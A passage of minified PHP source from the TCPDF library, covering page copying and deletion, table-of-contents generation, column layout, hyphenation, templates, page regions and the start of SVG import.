elseif(isset($this->PageAnnots[$i])){unset($this->PageAnnots[$i]);}if(isset($this->newpagegroup[$j])){$this->newpagegroup[$i]=$this->newpagegroup[$j];unset($this->newpagegroup[$j]);}if($this->currpagegroup==$j){$this->currpagegroup=$i;}if(isset($this->pageopen[$j])){$this->pageopen[$i]=$this->pageopen[$j];}elseif(isset($this->pageopen[$i])){unset($this->pageopen[$i]);}}unset($this->pages[$this->numpages]);unset($this->pagedim[$this->numpages]);unset($this->pagelen[$this->numpages]);unset($this->intmrk[$this->numpages]);unset($this->bordermrk[$this->numpages]);unset($this->cntmrk[$this->numpages]);foreach($this->pageobjects[$this->numpages] as $oid){if(isset($this->offsets[$oid])){unset($this->offsets[$oid]);}}unset($this->pageobjects[$this->numpages]);if(isset($this->footerpos[$this->numpages])){unset($this->footerpos[$this->numpages]);}if(isset($this->footerlen[$this->numpages])){unset($this->footerlen[$this->numpages]);}if(isset($this->transfmrk[$this->numpages])){unset($this->transfmrk[$this->numpages]);}if(isset($this->PageAnnots[$this->numpages])){unset($this->PageAnnots[$this->numpages]);}if(isset($this->newpagegroup[$this->numpages])){unset($this->newpagegroup[$this->numpages]);}if($this->currpagegroup==$this->numpages){$this->currpagegroup=($this->numpages-1);}if(isset($this->pagegroups[$this->numpages])){unset($this->pagegroups[$this->numpages]);}if(isset($this->pageopen[$this->numpages])){unset($this->pageopen[$this->numpages]);}}--$this->numpages;$this->page=$this->numpages;$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline['f']){if($outline['p']>$page){$this->outlines[$key]['p']=$outline['p']-1;}elseif($outline['p']==$page){unset($this->outlines[$key]);}}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest['f']){if($dest['p']>$page){$this->dests[$key]['p']=$dest['p']-1;}elseif($dest['p']==$page){unset($this->dests[$key]);}}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link['f']){if($link['p']>$page){$this->links[$key]['p']=$link['p']-1;}elseif($link['p']==$page){unset($this->links[$key]);}}}$jpage=$page;if(preg_match_all('/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/',$this->javascript,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$pagenum=intval($pamatch[3][$pk])+1;if($pagenum>=$jpage){$newpage=($pagenum-1);}elseif($pagenum==$jpage){$newpage=1;}else {$newpage=$pagenum;}--$newpage;$newjs="this.addField(\'".$pamatch[1][$pk]."\',\'".$pamatch[2][$pk]."\',".$newpage;$this->javascript=str_replace($pmatch,$newjs,$this->javascript);}unset($pamatch);}if($this->numpages>0){$this->lastPage(true);}return true;} function copyPage($page=0){if($page==0){$page=$this->page;}if(($page<1) OR ($page>$this->numpages)){return false;}$this->endPage();++$this->numpages;$this->page=$this->numpages;$this->setPageBuffer($this->page,$this->getPageBuffer($page));$this->pagedim[$this->page]=$this->pagedim[$page];$this->pagelen[$this->page]=$this->pagelen[$page];$this->intmrk[$this->page]=$this->intmrk[$page];$this->bordermrk[$this->page]=$this->bordermrk[$page];$this->cntmrk[$this->page]=$this->cntmrk[$page];$this->pageobjects[$this->page]=$this->pageobjects[$page];$this->pageopen[$this->page]=false;if(isset($this->footerpos[$page])){$this->footerpos[$this->page]=$this->footerpos[$page];}if(isset($this->footerlen[$page])){$this->footerlen[$this->page]=$this->footerlen[$page];}if(isset($this->transfmrk[$page])){$this->transfmrk[$this->page]=$this->transfmrk[$page];}if(isset($this->PageAnnots[$page])){$this->PageAnnots[$this->page]=$this->PageAnnots[$page];}if(isset($this->newpagegroup[$page])){$this->newpagegroup[$this->page]=sizeof($this->newpagegroup)+1;$this->currpagegroup=$this->newpagegroup[$this->page];$this->pagegroups[$this->currpagegroup]=1;}elseif(isset($this->currpagegroup) AND ($this->currpagegroup>0)){++$this->pagegroups[$this->currpagegroup];}$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if($outline['p']==$page){$this->outlines[]=array('t'=>$outline['t'],'l'=>$outline['l'],'x'=>$outline['x'],'y'=>$outline['y'],'p'=>$this->page,'f'=>$outline['f'],'s'=>$outline['s'],'c'=>$outline['c']);}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if($link['p']==$page){$this->links[]=array('p'=>$this->page,'y'=>$link['y'],'f'=>$link['f']);}}$this->lastPage(true);return true;} function addTOC($page='',$numbersfont='',$filler='.',$toc_name='TOC',$style='',$color=array(0,0,0)){$fontsize=$this->FontSizePt;$fontfamily=$this->FontFamily;$fontstyle=$this->FontStyle;$w=$this->w-$this->lMargin-$this->rMargin;$spacer=$this->GetStringWidth(chr(32))*4;$lmargin=$this->lMargin;$rmargin=$this->rMargin;$x_start=$this->GetX();$page_first=$this->page;$current_page=$this->page;$page_fill_start=false;$page_fill_end=false;$current_column=$this->current_column;if(TCPDF_STATIC::empty_string($numbersfont)){$numbersfont=$this->default_monospaced_font;}if(TCPDF_STATIC::empty_string($filler)){$filler=' ';}if(TCPDF_STATIC::empty_string($page)){$gap=' ';}else {$gap='';if($page<1){$page=1;}}$this->SetFont($numbersfont,$fontstyle,$fontsize);$numwidth=$this->GetStringWidth('00000');$maxpage=0;foreach($this->outlines as $key=>$outline){if(($this->page>$page_first) AND ($outline['p']>=$this->numpages)){$outline['p']+=($this->page-$page_first);}if($this->rtl){$aligntext='R';$alignnum='L';}else {$aligntext='L';$alignnum='R';}if($outline['l']==0){$this->SetFont($fontfamily,$outline['s'].'B',$fontsize);}else {$this->SetFont($fontfamily,$outline['s'],$fontsize-$outline['l']);}$this->SetTextColorArray($outline['c']);$this->checkPageBreak(2*$this->getCellHeight($this->FontSize));if(($this->page==$current_page) AND ($this->current_column==$current_column)){$this->lMargin=$lmargin;$this->rMargin=$rmargin;}else {if($this->current_column!=$current_column){if($this->rtl){$x_start=$this->w-$this->columns[$this->current_column]['x'];}else {$x_start=$this->columns[$this->current_column]['x'];}}$lmargin=$this->lMargin;$rmargin=$this->rMargin;$current_page=$this->page;$current_column=$this->current_column;}$this->SetX($x_start);$indent=($spacer*$outline['l']);if($this->rtl){$this->x-=$indent;$this->rMargin=$this->w-$this->x;}else {$this->x+=$indent;$this->lMargin=$this->x;}$link=$this->AddLink();$this->SetLink($link,$outline['y'],$outline['p']);if($this->rtl){$txt=' '.$outline['t'];}else {$txt=$outline['t'].' ';}$this->Write(0,$txt,$link,false,$aligntext,false,0,false,false,0,$numwidth,'');if($this->rtl){$tw=$this->x-$this->lMargin;}else {$tw=$this->w-$this->rMargin-$this->x;}$this->SetFont($numbersfont,$fontstyle,$fontsize);if(TCPDF_STATIC::empty_string($page)){$pagenum=$outline['p'];}else {$pagenum='{#'.($outline['p']).'}';if($this->isUnicodeFont()){$pagenum='{'.$pagenum.'}';}$maxpage=max($maxpage,$outline['p']);}$fw=($tw-$this->GetStringWidth($pagenum.$filler));$wfiller=$this->GetStringWidth($filler);if($wfiller>0){$numfills=floor($fw/$wfiller);}else {$numfills=0;}if($numfills>0){$rowfill=str_repeat($filler,$numfills);}else {$rowfill='';}if($this->rtl){$pagenum=$pagenum.$gap.$rowfill;}else {$pagenum=$rowfill.$gap.$pagenum;}$this->Cell($tw,0,$pagenum,0,1,$alignnum,0,$link,0);}$page_last=$this->getPage();$numpages=($page_last-$page_first+1);if($this->booklet){$page_fill_start=((($page_first%2)==0) XOR (($page%2)==0));$page_fill_end=(!((($numpages%2)==0) XOR ($page_fill_start)));if($page_fill_start){$this->addPage();++$page_last;++$numpages;}if($page_fill_end){$this->addPage();++$page_last;++$numpages;}}$maxpage=max($maxpage,$page_last);if(!TCPDF_STATIC::empty_string($page)){for($p=$page_first;$p<=$page_last;++$p){$temppage=$this->getPageBuffer($p);for($n=1;$n<=$maxpage;++$n){$a='{#'.$n.'}';$pnalias=$this->getInternalPageNumberAliases($a);if(($n>=$page) AND ($n<=$this->numpages)){$np=$n+$numpages;}else {$np=$n;}$na=TCPDF_STATIC::formatTOCPageNumber(($this->starting_page_number+$np-1));$nu=TCPDF_FONTS::UTF8ToUTF16BE($na,false,$this->isunicode,$this->CurrentFont);foreach($pnalias['u'] as $u){$sfill=str_repeat($filler,max(0,(strlen($u)-strlen($nu.' '))));if($this->rtl){$nr=$nu.TCPDF_FONTS::UTF8ToUTF16BE(' '.$sfill,false,$this->isunicode,$this->CurrentFont);}else {$nr=TCPDF_FONTS::UTF8ToUTF16BE($sfill.' ',false,$this->isunicode,$this->CurrentFont).$nu;}$temppage=str_replace($u,$nr,$temppage);}foreach($pnalias['a'] as $a){$sfill=str_repeat($filler,max(0,(strlen($a)-strlen($na.' '))));if($this->rtl){$nr=$na.' '.$sfill;}else {$nr=$sfill.' '.$na;}$temppage=str_replace($a,$nr,$temppage);}}$this->setPageBuffer($p,$temppage);}$this->Bookmark($toc_name,0,0,$page_first,$style,$color);if($page_fill_start){$this->movePage($page_last,$page_first);}for($i=0;$i<$numpages;++$i){$this->movePage($page_last,$page);}}} function addHTMLTOC($page='',$toc_name='TOC',$templates=array(),$correct_align=true,$style='',$color=array(0,0,0)){$filler=' ';$prev_htmlLinkColorArray=$this->htmlLinkColorArray;$prev_htmlLinkFontStyle=$this->htmlLinkFontStyle;$this->htmlLinkColorArray=array();$this->htmlLinkFontStyle='';$page_first=$this->getPage();$page_fill_start=false;$page_fill_end=false;$current_font=$this->FontFamily;foreach($templates as $level=>$html){$dom=$this->getHtmlDomArray($html);foreach($dom as $key=>$value){if($value['value']=='#TOC_PAGE_NUMBER#'){$this->SetFont($dom[($key-1)]['fontname']);$templates['F'.$level]=$this->isUnicodeFont();}}}$this->SetFont($current_font);$maxpage=0;foreach($this->outlines as $key=>$outline){$row=$templates[$outline['l']];if(TCPDF_STATIC::empty_string($page)){$pagenum=$outline['p'];}else {$pagenum='{#'.($outline['p']).'}';if($templates['F'.$outline['l']]){$pagenum='{'.$pagenum.'}';}$maxpage=max($maxpage,$outline['p']);}$row=str_replace('#TOC_DESCRIPTION#',$outline['t'],$row);$row=str_replace('#TOC_PAGE_NUMBER#',$pagenum,$row);$row='<a href="#'.$outline['p'].','.$outline['y'].'">'.$row.'</a>';$this->writeHTML($row,false,false,true,false,'');}$this->htmlLinkColorArray=$prev_htmlLinkColorArray;$this->htmlLinkFontStyle=$prev_htmlLinkFontStyle;$page_last=$this->getPage();$numpages=($page_last-$page_first+1);if($this->booklet){$page_fill_start=((($page_first%2)==0) XOR (($page%2)==0));$page_fill_end=(!((($numpages%2)==0) XOR ($page_fill_start)));if($page_fill_start){$this->addPage();++$page_last;++$numpages;}if($page_fill_end){$this->addPage();++$page_last;++$numpages;}}$maxpage=max($maxpage,$page_last);if(!TCPDF_STATIC::empty_string($page)){for($p=$page_first;$p<=$page_last;++$p){$temppage=$this->getPageBuffer($p);for($n=1;$n<=$maxpage;++$n){$a='{#'.$n.'}';$pnalias=$this->getInternalPageNumberAliases($a);if($n>=$page){$np=$n+$numpages;}else {$np=$n;}$na=TCPDF_STATIC::formatTOCPageNumber(($this->starting_page_number+$np-1));$nu=TCPDF_FONTS::UTF8ToUTF16BE($na,false,$this->isunicode,$this->CurrentFont);foreach($pnalias['u'] as $u){if($correct_align){$sfill=str_repeat($filler,(strlen($u)-strlen($nu.' ')));if($this->rtl){$nr=$nu.TCPDF_FONTS::UTF8ToUTF16BE(' '.$sfill,false,$this->isunicode,$this->CurrentFont);}else {$nr=TCPDF_FONTS::UTF8ToUTF16BE($sfill.' ',false,$this->isunicode,$this->CurrentFont).$nu;}}else {$nr=$nu;}$temppage=str_replace($u,$nr,$temppage);}foreach($pnalias['a'] as $a){if($correct_align){$sfill=str_repeat($filler,(strlen($a)-strlen($na.' ')));if($this->rtl){$nr=$na.' '.$sfill;}else {$nr=$sfill.' '.$na;}}else {$nr=$na;}$temppage=str_replace($a,$nr,$temppage);}}$this->setPageBuffer($p,$temppage);}$this->Bookmark($toc_name,0,0,$page_first,$style,$color);if($page_fill_start){$this->movePage($page_last,$page_first);}for($i=0;$i<$numpages;++$i){$this->movePage($page_last,$page);}}} function startTransaction(){if(isset($this->objcopy)){$this->commitTransaction();}$this->start_transaction_page=$this->page;$this->start_transaction_y=$this->y;$this->objcopy=TCPDF_STATIC::objclone($this);} function commitTransaction(){if(isset($this->objcopy)){$this->objcopy->_destroy(true,true);unset($this->objcopy);}} function rollbackTransaction($self=false){if(isset($this->objcopy)){$this->_destroy(true,true);if($self){$objvars=get_object_vars($this->objcopy);foreach($objvars as $key=>$value){$this->$key=$value;}}return $this->objcopy;}return $this;} function setEqualColumns($numcols=0,$width=0,$y=''){$this->columns=array();if($numcols<2){$numcols=0;$this->columns=array();}else {$maxwidth=($this->w-$this->original_lMargin-$this->original_rMargin)/$numcols;if(($width==0) OR ($width>$maxwidth)){$width=$maxwidth;}if(TCPDF_STATIC::empty_string($y)){$y=$this->y;}$space=(($this->w-$this->original_lMargin-$this->original_rMargin-($numcols*$width))/($numcols-1));for($i=0;$i<$numcols;++$i){$this->columns[$i]=array('w'=>$width,'s'=>$space,'y'=>$y);}}$this->num_columns=$numcols;$this->current_column=0;$this->column_start_page=$this->page;$this->selectColumn(0);} function resetColumns(){$this->lMargin=$this->original_lMargin;$this->rMargin=$this->original_rMargin;$this->setEqualColumns();} function setColumnsArray($columns){$this->columns=$columns;$this->num_columns=count($columns);$this->current_column=0;$this->column_start_page=$this->page;$this->selectColumn(0);} function selectColumn($col=''){if(is_string($col)){$col=$this->current_column;}elseif($col>=$this->num_columns){$col=0;}$xshift=array('x'=>0,'s'=>array('H'=>0,'V'=>0),'p'=>array('L'=>0,'T'=>0,'R'=>0,'B'=>0));$enable_thead=false;if($this->num_columns>1){if($col!=$this->current_column){if($this->column_start_page==$this->page){$this->y=$this->columns[$col]['y'];}else {$this->y=$this->tMargin;}if(($this->page>$this->maxselcol['page']) OR (($this->page==$this->maxselcol['page']) AND ($col>$this->maxselcol['column']))){$enable_thead=true;$this->maxselcol['page']=$this->page;$this->maxselcol['column']=$col;}}$xshift=$this->colxshift;$listindent=($this->listindentlevel*$this->listindent);$colpos=0;for($i=0;$i<$col;++$i){$colpos+=($this->columns[$i]['w']+$this->columns[$i]['s']);}if($this->rtl){$x=$this->w-$this->original_rMargin-$colpos;$this->rMargin=($this->w-$x+$listindent);$this->lMargin=($x-$this->columns[$col]['w']);$this->x=$x-$listindent;}else {$x=$this->original_lMargin+$colpos;$this->lMargin=($x+$listindent);$this->rMargin=($this->w-$x-$this->columns[$col]['w']);$this->x=$x+$listindent;}$this->columns[$col]['x']=$x;}$this->current_column=$col;$this->newline=true;if((!TCPDF_STATIC::empty_string($this->thead)) AND (!$this->inthead)){if($enable_thead){$this->writeHTML($this->thead,false,false,false,false,'');$this->y+=$xshift['s']['V'];if(!isset($this->columns[$col]['th'])){$this->columns[$col]['th']=array();}$this->columns[$col]['th']['\''.$this->page.'\'']=$this->y;$this->lasth=0;}elseif(isset($this->columns[$col]['th']['\''.$this->page.'\''])){$this->y=$this->columns[$col]['th']['\''.$this->page.'\''];}}if($this->rtl){$this->rMargin+=$xshift['x'];$this->x-=($xshift['x']+$xshift['p']['R']);}else {$this->lMargin+=$xshift['x'];$this->x+=$xshift['x']+$xshift['p']['L'];}} function getColumn(){return $this->current_column;} function getNumberOfColumns(){return $this->num_columns;} function setTextRenderingMode($stroke=0,$fill=true,$clip=false){if($stroke<0){$stroke=0;}if($fill===true){if($stroke>0){if($clip===true){$textrendermode=6;}else {$textrendermode=2;}$textstrokewidth=$stroke;}else {if($clip===true){$textrendermode=4;}else {$textrendermode=0;}}}else {if($stroke>0){if($clip===true){$textrendermode=5;}else {$textrendermode=1;}$textstrokewidth=$stroke;}else {if($clip===true){$textrendermode=7;}else {$textrendermode=3;}}}$this->textrendermode=$textrendermode;$this->textstrokewidth=$stroke;} function setTextShadow($params=array('enabled'=>false,'depth_w'=>0,'depth_h'=>0,'color'=>false,'opacity'=>1,'blend_mode'=>'Normal')){if(isset($params['enabled'])){$this->txtshadow['enabled']=$params['enabled']?true:false;}else {$this->txtshadow['enabled']=false;}if(isset($params['depth_w'])){$this->txtshadow['depth_w']=floatval($params['depth_w']);}else {$this->txtshadow['depth_w']=0;}if(isset($params['depth_h'])){$this->txtshadow['depth_h']=floatval($params['depth_h']);}else {$this->txtshadow['depth_h']=0;}if(isset($params['color']) AND ($params['color']!==false) AND is_array($params['color'])){$this->txtshadow['color']=$params['color'];}else {$this->txtshadow['color']=$this->strokecolor;}if(isset($params['opacity'])){$this->txtshadow['opacity']=min(1,max(0,floatval($params['opacity'])));}else {$this->txtshadow['opacity']=1;}if(isset($params['blend_mode']) AND in_array($params['blend_mode'],array('Normal','Multiply','Screen','Overlay','Darken','Lighten','ColorDodge','ColorBurn','HardLight','SoftLight','Difference','Exclusion','Hue','Saturation','Color','Luminosity'))){$this->txtshadow['blend_mode']=$params['blend_mode'];}else {$this->txtshadow['blend_mode']='Normal';}if((($this->txtshadow['depth_w']==0) AND ($this->txtshadow['depth_h']==0)) OR ($this->txtshadow['opacity']==0)){$this->txtshadow['enabled']=false;}} function getTextShadow(){return $this->txtshadow;} function hyphenateWord($word,$patterns,$dictionary=array(),$leftmin=1,$rightmin=2,$charmin=1,$charmax=8){$hyphenword=array();$numchars=count($word);if($numchars<=$charmin){return $word;}$word_string=TCPDF_FONTS::UTF8ArrSubString($word,'','',$this->isunicode);$pattern='/^([a-zA-Z0-9_\.\-]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/';if(preg_match($pattern,$word_string)>0){return $word;}$pattern='/(([a-zA-Z0-9\-]+\.)?)((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/';if(preg_match($pattern,$word_string)>0){return $word;}if(isset($dictionary[$word_string])){return TCPDF_FONTS::UTF8StringToArray($dictionary[$word_string],$this->isunicode,$this->CurrentFont);}$tmpword=array_merge(array(46),$word,array(46));$tmpnumchars=$numchars+2;$maxpos=$tmpnumchars-1;for($pos=0;$pos<$maxpos;++$pos){$imax=min(($tmpnumchars-$pos),$charmax);for($i=1;$i<=$imax;++$i){$subword=strtolower(TCPDF_FONTS::UTF8ArrSubString($tmpword,$pos,($pos+$i),$this->isunicode));if(isset($patterns[$subword])){$pattern=TCPDF_FONTS::UTF8StringToArray($patterns[$subword],$this->isunicode,$this->CurrentFont);$pattern_length=count($pattern);$digits=1;for($j=0;$j<$pattern_length;++$j){if(($pattern[$j]>=48) AND ($pattern[$j]<=57)){if($j==0){$zero=$pos-1;}else {$zero=$pos+$j-$digits;}$level=($pattern[$j]-48);if(!isset($hyphenword[$zero]) OR ($hyphenword[$zero]<$level)){$hyphenword[$zero]=$level;}++$digits;}}}}}$inserted=0;$maxpos=$numchars-$rightmin;for($i=$leftmin;$i<=$maxpos;++$i){if(isset($hyphenword[$i]) AND (($hyphenword[$i]%2)!=0)){array_splice($word,$i+$inserted,0,173);++$inserted;}}return $word;} function hyphenateText($text,$patterns,$dictionary=array(),$leftmin=1,$rightmin=2,$charmin=1,$charmax=8){$text=$this->unhtmlentities($text);$word=array();$txtarr=array();$intag=false;$skip=false;if(!is_array($patterns)){$patterns=TCPDF_STATIC::getHyphenPatternsFromTEX($patterns);}$unichars=TCPDF_FONTS::UTF8StringToArray($text,$this->isunicode,$this->CurrentFont);foreach($unichars as $char){if((!$intag) AND (!$skip) AND TCPDF_FONT_DATA::$uni_type[$char]=='L'){$word[]=$char;}else {if(!TCPDF_STATIC::empty_string($word)){$txtarr=array_merge($txtarr,$this->hyphenateWord($word,$patterns,$dictionary,$leftmin,$rightmin,$charmin,$charmax));$word=array();}$txtarr[]=$char;if(chr($char)=='<'){$intag=true;}elseif($intag AND (chr($char)=='>')){$intag=false;$expected=array(115,116,121,108,101);$current=array_slice($txtarr,-6,5);$compare=array_diff($expected,$current);if(empty($compare)){$expected=array(47);$current=array_slice($txtarr,-7,1);$compare=array_diff($expected,$current);if(empty($compare)){$skip=false;}else {$skip=true;}}}}}if(!TCPDF_STATIC::empty_string($word)){$txtarr=array_merge($txtarr,$this->hyphenateWord($word,$patterns,$dictionary,$leftmin,$rightmin,$charmin,$charmax));}return TCPDF_FONTS::UTF8ArrSubString($txtarr,'','',$this->isunicode);} function setRasterizeVectorImages($mode){$this->rasterize_vector_images=$mode;} function setFontSubsetting($enable=true){if($this->pdfa_mode){$this->font_subsetting=false;}else {$this->font_subsetting=$enable?true:false;}} function getFontSubsetting(){return $this->font_subsetting;} function stringLeftTrim($str,$replace=''){return preg_replace('/^'.$this->re_space['p'].'+/'.$this->re_space['m'],$replace,$str);} function stringRightTrim($str,$replace=''){return preg_replace('/'.$this->re_space['p'].'+$/'.$this->re_space['m'],$replace,$str);} function stringTrim($str,$replace=''){$str=$this->stringLeftTrim($str,$replace);$str=$this->stringRightTrim($str,$replace);return $str;} function isUnicodeFont(){return (($this->CurrentFont['type']=='TrueTypeUnicode') OR ($this->CurrentFont['type']=='cidfont0'));} function getFontFamilyName($fontfamily){$fontfamily=preg_replace('/[^a-z0-9_\,]/','',strtolower($fontfamily));$fontslist=preg_split('/[,]/',$fontfamily);foreach($fontslist as $font){$font=preg_replace('/regular$/','',$font);$font=preg_replace('/italic$/','I',$font);$font=preg_replace('/oblique$/','I',$font);$font=preg_replace('/bold([I]?)$/','B',$font);$pattern=array();$replacement=array();$pattern[]='/^serif|^cursive|^fantasy|^timesnewroman/';$replacement[]='times';$pattern[]='/^sansserif/';$replacement[]='helvetica';$pattern[]='/^monospace/';$replacement[]='courier';$font=preg_replace($pattern,$replacement,$font);if(in_array(strtolower($font),$this->fontlist) OR in_array($font,$this->fontkeys)){return $font;}}return $this->CurrentFont['fontkey'];} function startTemplate($w=0,$h=0,$group=false){if($this->inxobj){return false;}$this->inxobj=true;++$this->n;$this->xobjid='XT'.$this->n;$this->xobjects[$this->xobjid]=array('n'=>$this->n);$this->xobjects[$this->xobjid]['gvars']=$this->getGraphicVars();$this->xobjects[$this->xobjid]['intmrk']=0;$this->xobjects[$this->xobjid]['transfmrk']=array();$this->xobjects[$this->xobjid]['outdata']='';$this->xobjects[$this->xobjid]['xobjects']=array();$this->xobjects[$this->xobjid]['images']=array();$this->xobjects[$this->xobjid]['fonts']=array();$this->xobjects[$this->xobjid]['annotations']=array();$this->xobjects[$this->xobjid]['extgstates']=array();$this->xobjects[$this->xobjid]['gradients']=array();$this->xobjects[$this->xobjid]['spot_colors']=array();$this->num_columns=1;$this->current_column=0;$this->SetAutoPageBreak(false);if(($w==='') OR ($w<=0)){$w=$this->w-$this->lMargin-$this->rMargin;}if(($h==='') OR ($h<=0)){$h=$this->h-$this->tMargin-$this->bMargin;}$this->xobjects[$this->xobjid]['x']=0;$this->xobjects[$this->xobjid]['y']=0;$this->xobjects[$this->xobjid]['w']=$w;$this->xobjects[$this->xobjid]['h']=$h;$this->w=$w;$this->h=$h;$this->wPt=$this->w*$this->k;$this->hPt=$this->h*$this->k;$this->fwPt=$this->wPt;$this->fhPt=$this->hPt;$this->x=0;$this->y=0;$this->lMargin=0;$this->rMargin=0;$this->tMargin=0;$this->bMargin=0;$this->xobjects[$this->xobjid]['group']=$group;return $this->xobjid;} function endTemplate(){if(!$this->inxobj){return false;}$this->inxobj=false;$this->setGraphicVars($this->xobjects[$this->xobjid]['gvars'],true);return $this->xobjid;} function printTemplate($id,$x='',$y='',$w=0,$h=0,$align='',$palign='',$fitonpage=false){if($this->state!=2){return;}if(!isset($this->xobjects[$id])){$this->Error('The XObject Template \''.$id.'\' doesn\'t exist!');}if($this->inxobj){if($id==$this->xobjid){$this->endTemplate();}else {$this->xobjects[$this->xobjid]['xobjects'][$id]=$this->xobjects[$id];}}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$ow=$this->xobjects[$id]['w'];if($ow<=0){$ow=1;}$oh=$this->xobjects[$id]['h'];if($oh<=0){$oh=1;}if(($w<=0) AND ($h<=0)){$w=$ow;$h=$oh;}elseif($w<=0){$w=$h*$ow/$oh;}elseif($h<=0){$h=$w*$oh/$ow;}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);$rb_y=$y+$h;if($this->rtl){if($palign=='L'){$xt=$this->lMargin;}elseif($palign=='C'){$xt=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$xt=$this->w-$this->rMargin-$w;}else {$xt=$x-$w;}$rb_x=$xt;}else {if($palign=='L'){$xt=$this->lMargin;}elseif($palign=='C'){$xt=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$xt=$this->w-$this->rMargin-$w;}else {$xt=$x;}$rb_x=$xt+$w;}$this->StartTransform();$sx=($w/$ow);$sy=($h/$oh);$tm=array();$tm[0]=$sx;$tm[1]=0;$tm[2]=0;$tm[3]=$sy;$tm[4]=$xt*$this->k;$tm[5]=($this->h-$h-$y)*$this->k;$this->Transform($tm);$this->_out('/'.$id.' Do');$this->StopTransform();if(!empty($this->xobjects[$id]['annotations'])){foreach($this->xobjects[$id]['annotations'] as $annot){$coordlt=TCPDF_STATIC::getTransformationMatrixProduct($tm,array(1,0,0,1,($annot['x']*$this->k),(-$annot['y']*$this->k)));$ax=($coordlt[4]/$this->k);$ay=($this->h-$h-($coordlt[5]/$this->k));$coordrb=TCPDF_STATIC::getTransformationMatrixProduct($tm,array(1,0,0,1,(($annot['x']+$annot['w'])*$this->k),((-$annot['y']-$annot['h'])*$this->k)));$aw=($coordrb[4]/$this->k)-$ax;$ah=($this->h-$h-($coordrb[5]/$this->k))-$ay;$this->Annotation($ax,$ay,$aw,$ah,$annot['text'],$annot['opt'],$annot['spaces']);}}switch($align){case 'T':{$this->y=$y;$this->x=$rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$rb_x;break;}case 'B':{$this->y=$rb_y;$this->x=$rb_x;break;}case 'N':{$this->SetY($rb_y);break;}default:{break;}}} function setFontStretching($perc=100){$this->font_stretching=$perc;} function getFontStretching(){return $this->font_stretching;} function setFontSpacing($spacing=0){$this->font_spacing=$spacing;} function getFontSpacing(){return $this->font_spacing;} function getPageRegions(){return $this->page_regions;} function setPageRegions($regions=array()){$this->page_regions=array();foreach($regions as $data){$this->addPageRegion($data);}} function addPageRegion($region){if(!isset($region['page']) OR empty($region['page'])){$region['page']=$this->page;}if(isset($region['xt']) AND isset($region['xb']) AND ($region['xt']>0) AND ($region['xb']>0) AND isset($region['yt']) AND isset($region['yb']) AND ($region['yt']>=0) AND ($region['yt']<$region['yb']) AND isset($region['side']) AND (($region['side']=='L') OR ($region['side']=='R'))){$this->page_regions[]=$region;}} function removePageRegion($key){if(isset($this->page_regions[$key])){unset($this->page_regions[$key]);}} function checkPageRegions($h,$x,$y){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}if(!$this->check_page_regions OR empty($this->page_regions)){return array($x,$y);}if(empty($h)){$h=$this->getCellHeight($this->FontSize);}if($this->checkPageBreak($h,$y)){$x=$this->x;$y=$this->y;}if($this->num_columns>1){if($this->rtl){$this->lMargin=($this->columns[$this->current_column]['x']-$this->columns[$this->current_column]['w']);}else {$this->rMargin=($this->w-$this->columns[$this->current_column]['x']-$this->columns[$this->current_column]['w']);}}else {if($this->rtl){$this->lMargin=max($this->clMargin,$this->original_lMargin);}else {$this->rMargin=max($this->crMargin,$this->original_rMargin);}}foreach($this->page_regions as $regid=>$regdata){if($regdata['page']==$this->page){if(($y>($regdata['yt']-$h)) AND ($y<=$regdata['yb'])){$minv=($regdata['xb']-$regdata['xt'])/($regdata['yb']-$regdata['yt']);$yt=max($y,$regdata['yt']);$yb=min(($yt+$h),$regdata['yb']);$xt=(($yt-$regdata['yt'])*$minv)+$regdata['xt'];$xb=(($yb-$regdata['yt'])*$minv)+$regdata['xt'];if($regdata['side']=='L'){$new_margin=max($xt,$xb);if($this->lMargin<$new_margin){if($this->rtl){$this->lMargin=max(0,$new_margin);}if($x<$new_margin){$x=$new_margin;if($new_margin>($this->w-$this->rMargin)){$y=$regdata['yb']-$h;}}}}elseif($regdata['side']=='R'){$new_margin=min($xt,$xb);if(($this->w-$this->rMargin)>$new_margin){if(!$this->rtl){$this->rMargin=max(0,($this->w-$new_margin));}if($x>$new_margin){$x=$new_margin;if($new_margin>$this->lMargin){$y=$regdata['yb']-$h;}}}}}}}return array($x,$y);} function ImageSVG($file,$x='',$y='',$w=0,$h=0,$link='',$align='',$palign='',$border=0,$fitonpage=false){if($this->state!=2){return;}$this->svggradients=array();$this->svggradientid=0;$this->svgdefsmode=false;$this->svgdefs=array();$this->svgclipmode=false;$this->svgclippaths=array();$this->svgcliptm=array();$this->svgclipid=0;$this->svgtext='';$this->svgtextmode=array();if($this->rasterize_vector_images AND ($w>0) AND ($h>0)){return $this->Image($file,$x,$y,$w,$h,'SVG',$link,$align,true,300,$palign,false,false,$border,false,false,false);}if($file[0]==='@'){$this->svgdir='';$svgdata=substr($file,1);}else {$this->svgdir=dirname($file);$svgdata=TCPDF_STATIC::fileGetContents($file);}if($svgdata===FALSE){$this->Error('SVG file not found: '.$file);}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$k=$this->k;$ox=0;$oy=0;$ow=$w;$oh=$h;$aspect_ratio_align='xMidYMid';$aspect_ratio_ms='meet';$regs=array();preg_match('/<svg([^\>]*)>/si',$svgdata,$regs);if(isset($regs[1]) AND 